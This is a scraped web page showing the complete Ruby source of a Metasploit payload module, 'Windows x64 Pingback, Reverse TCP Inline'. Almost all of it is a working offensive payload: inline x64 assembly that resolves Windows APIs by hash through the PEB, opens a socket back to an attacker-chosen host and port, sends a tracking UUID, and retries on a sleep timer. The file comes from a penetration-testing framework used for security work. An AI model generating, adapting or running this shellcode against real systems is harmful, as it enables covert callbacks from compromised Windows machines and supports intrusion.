Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/windows/x64/pingback_reverse_tcp.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 42589include Msf::Payload::Windows10include Msf::Payload::Single11include Msf::Payload::Pingback12include Msf::Payload::Pingback::Options13include Msf::Payload::Windows::BlockApi_x6414include Msf::Payload::Windows::Exitfunk_x641516def initialize(info = {})17super(merge_info(info,18'Name' => 'Windows x64 Pingback, Reverse TCP Inline',19'Description' => 'Connect back to attacker and report UUID (Windows x64)',20'Author' => [ 'bwatters-r7' ],21'License' => MSF_LICENSE,22'Platform' => 'win',23'Arch' => ARCH_X64,24'Handler' => Msf::Handler::ReverseTcp,25'Session' => Msf::Sessions::Pingback26))2728def required_space29# Start with our cached default generated size30space = cached_size3132# EXITFUNK 'seh' is the worst case, that adds 15 bytes33space += 153435space36end3738def generate(_opts = {})39# 22 -> "0x00,0x16"40# 4444 -> "0x11,0x5c"41encoded_port = [datastore['LPORT'].to_i, 2].pack("vn").unpack("N").first42encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || "127.127.127.127").unpack("V").first43encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]44retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max45pingback_count = datastore['PingbackRetries']46pingback_sleep = datastore['PingbackSleep']47self.pingback_uuid ||= self.generate_pingback_uuid48uuid_as_db = "0x" + self.pingback_uuid.chars.each_slice(2).map(&:join).join(",0x")49conf = { exitfunk: datastore['EXITFUNC'] }505152asm = %Q^53cld ; Clear the direction flag.54and rsp, ~0xF ; Ensure RSP is 16 byte aligned55call start ; Call start, this pushes the address of 'api_call' onto the stack.5657api_call:58push r9 ; Save the 4th parameter59push r8 ; Save the 3rd parameter60push rdx ; Save the 2nd parameter61push rcx ; Save the 1st parameter62push rsi ; Save RSI63xor rdx, rdx ; Zero rdx64mov rdx, [gs:rdx+96] ; Get a pointer to the PEB65mov rdx, [rdx+24] ; Get PEB->Ldr66mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list67next_mod: ;68mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)69movzx rcx, word [rdx+74] ; Set rcx to the length we want to check70xor r9, r9 ; Clear r9 which will store the hash of the module name71loop_modname: ;72xor rax, rax ; Clear rax73lodsb ; Read in the next byte of the name74cmp al, 'a' ; Some versions of Windows use lower case module names75jl not_lowercase ;76sub al, 0x20 ; If so normalise to uppercase77not_lowercase: ;78ror r9d, 13 ; Rotate right our hash value79add r9d, eax ; Add the next byte of the name80loop loop_modname ; Loop until we have read enough81; We now have the module hash computed82push rdx ; Save the current position in the module list for later83push r9 ; Save the current module hash for later84; Proceed to iterate the export address table,85mov rdx, [rdx+32] ; Get this modules base address86mov eax, dword [rdx+60] ; Get PE header87add rax, rdx ; Add the modules base address88cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?89; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and90; their may be a PE32 module present in the PEB's module list, (typically the main module).91; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])92jne get_next_mod1 ; if not, proceed to the next module93mov eax, dword [rax+136] ; Get export tables RVA94test rax, rax ; Test if no export address table is present95jz get_next_mod1 ; If no EAT present, process the next module96add rax, rdx ; Add the modules base address97push rax ; Save the current modules EAT98mov ecx, dword [rax+24] ; Get the number of function names99mov r8d, dword [rax+32] ; Get the rva of the function names100add r8, rdx ; Add the modules base address101; Computing the module hash + function hash102get_next_func: ;103jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module104dec rcx ; Decrement the function name counter105mov esi, dword [r8+rcx*4]; Get rva of next module name106add rsi, rdx ; Add the modules base address107xor r9, r9 ; Clear r9 which will store the hash of the function name108; And compare it to the one we want109loop_funcname: ;110xor rax, rax ; Clear rax111lodsb ; Read in the next byte of the ASCII function name112ror r9d, 13 ; Rotate right our hash value113add r9d, eax ; Add the next byte of the name114cmp al, ah ; Compare AL (the next byte from the name) to AH (null)115jne loop_funcname ; If we have not reached the null terminator, continue116add r9, [rsp+8] ; Add the current module hash to the function hash117cmp r9d, r10d ; Compare the hash to the one we are searchnig for118jnz get_next_func ; Go compute the next function hash if we have not found it119; If found, fix up stack, call the function and then value else compute the next one...120pop rax ; Restore the current modules EAT121mov r8d, dword [rax+36] ; Get the ordinal table rva122add r8, rdx ; Add the modules base address123mov cx, [r8+2*rcx] ; Get the desired functions ordinal124mov r8d, dword [rax+28] ; Get the function addresses table rva125add r8, rdx ; Add the modules base address126mov eax, dword [r8+4*rcx]; Get the desired functions RVA127add rax, rdx ; Add the modules base address to get the functions actual VA128; We now fix up the stack and perform the call to the drsired function...129finish:130pop r8 ; Clear off the current modules hash131pop r8 ; Clear off the current position in the module list132pop rsi ; Restore RSI133pop rcx ; Restore the 1st parameter134pop rdx ; Restore the 2nd parameter135pop r8 ; Restore the 3rd parameter136pop r9 ; Restore the 4th parameter137pop r10 ; pop off the return address138sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)139; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).140push r10 ; push back the return address141jmp rax ; Jump into the required function142; We now automagically return to the correct caller...143get_next_mod: ;144pop rax ; Pop off the current (now the previous) modules EAT145get_next_mod1: ;146pop r9 ; Pop off the current (now the previous) modules hash147pop rdx ; Restore our position in the module list148mov rdx, [rdx] ; Get the next module149jmp next_mod ; Process this module150151start:152pop rbp ; block API pointer153154reverse_tcp:155; setup the structures we need on the stack...156mov r14, 'ws2_32'157push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.158mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.159sub rsp, #{408 + 8} ; alloc sizeof( struct WSAData ) bytes for the WSAData160; structure (+8 for alignment)161mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.162mov r12, #{encoded_host_port}163push r12 ; host, family AF_INET and port164mov r12, rsp ; save pointer to sockaddr struct for connect call165166; perform the call to LoadLibraryA...167mov rcx, r14 ; set the param for the library to load168mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}169call rbp ; LoadLibraryA( "ws2_32" )170171; perform the call to WSAStartup...172mov rdx, r13 ; second param is a pointer to this struct173push 0x0101 ;174pop rcx ; set the param for the version requested175mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}176call rbp ; WSAStartup( 0x0101, &WSAData );177178; stick the retry count on the stack and store it179push #{retry_count} ; retry counter180pop r14181push #{pingback_count}182pop r15183184create_socket:185; perform the call to WSASocketA...186push rax ; if we succeed, rax will be zero, push zero for the flags param.187push rax ; push null for reserved parameter188xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure189xor r8, r8 ; we do not specify a protocol190inc rax ;191mov rdx, rax ; push SOCK_STREAM192inc rax ;193mov rcx, rax ; push AF_INET194mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}195call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );196mov rdi, rax ; save the socket for later197198try_connect:199; perform the call to connect...200push 16 ; length of the sockaddr struct201pop r8 ; pop off the third param202mov rdx, r12 ; set second param to pointer to sockaddr struct203mov rcx, rdi ; the socket204mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}205call rbp ; connect( s, &sockaddr, 16 );206207test eax, eax ; non-zero means failure208jz connected209210handle_connect_failure:211dec r14 ; decrement the retry count212jnz try_connect213dec r15214jmp close_socket215216failure:217call exitfunk218219; this label is required so that reconnect attempts include220; the UUID stuff if required.221connected:222223send_pingback:224xor r9, r9 ; flags225push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID226pop r8227call get_pingback_address ; put uuid buffer on the stack228db #{uuid_as_db} ; PINGBACK_UUID229230get_pingback_address:231pop rdx ; PINGBACK UUID address232mov rcx, rdi ; Socket handle233mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}234call rbp ; call send235236close_socket:237mov rcx, rdi ; Socket handle238mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}239call rbp ; call closesocket240^241if pingback_count > 0242asm << %Q^243sleep:244test r15, r15 ; check pingback retry counter245jz exitfunk ; bail if we are at 0246dec r15 ;decrement the pingback retry counter247push #{(pingback_sleep * 1000)} ; 10 seconds248pop rcx ; set the sleep function parameter249mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}250call rbp ; Sleep()251jmp create_socket ; repeat callback252^253end254if conf[:exitfunk]255asm << asm_exitfunk(conf)256end257Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string258end259end260end261262263